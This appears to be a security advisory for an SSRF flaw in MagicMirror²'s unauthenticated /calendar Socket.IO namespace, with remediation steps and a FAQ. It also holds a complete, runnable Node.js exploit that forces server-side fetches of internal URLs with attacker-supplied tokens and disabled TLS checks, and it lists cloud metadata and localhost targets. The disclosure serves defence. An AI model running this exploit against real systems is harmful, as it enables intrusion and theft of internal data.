CVE-2026-63643: MagicMirror: ssrf calendar .js
Vulnerability — SSRF via ADDCALENDAR (MagicMirror² calendar)
Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/nodehelper.js of MagicMirror², socket.io namespace /calendar.
---
Identification
| Field | Value | |-------|-------| | PoC file | exploit-ssrf-calendar.js | | Endpoint | socket.io namespace /calendar, notification ADDCALENDAR | | Precondition | reach the mirror's HTTP port (no authentication required) |
---
Description
The ADDCALENDAR handler in calendar/nodehelper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.
Worse, the attacker also controls: - the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." }); - the selfSignedCert flag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAREVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
---
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
js const io = new Server(server, { cors: { origin: /.$/, credentials: true } });
The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
---
Exploit (exploit-ssrf-calendar.js)
js const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888"; const INTERNALURL = process.argv[2] || process.env.SSRFURL || "https://webhook.site/";
const socket = io(${TARGET}/calendar, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => { if (event === "CALENDAREVENTS") { console.log("\n[+] CALENDAREVENTS received from server (SSRF response exfiltrated):"); for (const ev of payload.events || []) { console.log(" SUMMARY:", ev.title); if (ev.title && ev.title.includes("FLAG{")) { console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:"); console.log(" " + ev.title); process.exit(0); } } } else if (event === "CALENDARERROR") { console.log("[-] CALENDARERROR:", JSON.stringify(payload)); } });
socket.on("connect", () => { console.log([] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}); console.log([] Forcing server-side fetch of internal target: ${INTERNALURL}); socket.emit("ADDCALENDAR", { url: INTERNALURL, fetchInterval: 60000, excludedEvents: [], maximumEntries: 10, maximumNumberOfDays: 3650, auth: { method: "bearer", pass: "internal-admin-token" }, broadcastPastEvents: true, selfSignedCert: true, id: "pwn" }); });
socket.on("connecterror", (e) => console.log("[-] connecterror:", e.message));
setTimeout(() => { console.log("\n[] timeout, exiting"); process.exit(1); }, 20000);
---
Vulnerable target code (pattern)
js socketNotificationReceived(notification, payload) { if (notification === "ADDCALENDAR") { const fetcher = new CalendarFetcher( payload.url, payload.fetchInterval, payload.excludedEvents, payload.maximumEntries, payload.maximumNumberOfDays, payload.auth, payload.broadcastPastEvents, payload.selfSignedCert ); fetcher.fetchCalendar(); } }
---
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target. - TLS bypass via selfSignedCert: true. - Internal port scanning through error/timing differences.
---
Other sources
MagicMirror² is an open source modular smart mirror platform. Prior to 2.37.0, the ADDCALENDAR handler in defaultmodules/calendar/nodehelper.js accepts an attacker-controlled URL, authentication data, and selfSignedCert setting through the unauthenticated Socket.IO namespace /calendar. The handler passes these fields to CalendarFetcher, causing a server-side request without SSRF validation and optionally disabling TLS verification. When the response is valid iCal, CALENDAREVENTS returns parsed event data to the attacker, allowing internal-service response data to be exfiltrated; other responses still provide a blind request and timing primitive. This issue is fixed in version 2.37.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/magicmirrorto a version that resolves this vulnerability.Fixed in 2.37.0 - Upgrade
Upgrade
MagicMirror² defaultmodules/calendar (calendar/node_helper.js)to a version that resolves this vulnerability.Fixed in 2.37.0 - Compensating control
Ensure only trusted clients can access the MagicMirror² HTTP/SockeIO port so that only authorized parties can emit socket.io events to the /calendar namespace (the issue is that socket.io accepts connections from any origin with no authentication prior to 2.37.0).
Event History
Frequently Asked Questions
Who can exploit this issue?
Instances running a version earlier than 2.37.0 are affected when the calendar Socket.IO namespace is reachable by an attacker. The vulnerable /calendar namespace is unauthenticated, so no valid MagicMirror credentials are required.
What access and inputs does an attacker need?
An attacker needs network access to the Socket.IO service and can submit a calendar URL through the ADD_CALENDAR handler. They can also control supplied authentication data and the selfSignedCert setting for the outbound request.
Is the default calendar configuration affected?
The affected handler is in the default calendar module and its /calendar Socket.IO namespace is unauthenticated. Therefore, deployments exposing that service should treat the default calendar functionality as affected before upgrading.
What should be done if patching cannot happen immediately?
Upgrade MagicMirror² to version 2.37.0. If an immediate upgrade is not possible, restrict network access to the Socket.IO service so untrusted users cannot reach the /calendar namespace.
How can I assess whether my deployment may already be affected?
Review whether the instance is running a version before 2.37.0 and whether untrusted clients can connect to the /calendar Socket.IO namespace. Requests that add attacker-supplied calendar URLs may have caused outbound requests; valid iCal responses could have returned parsed calendar event data to the requester.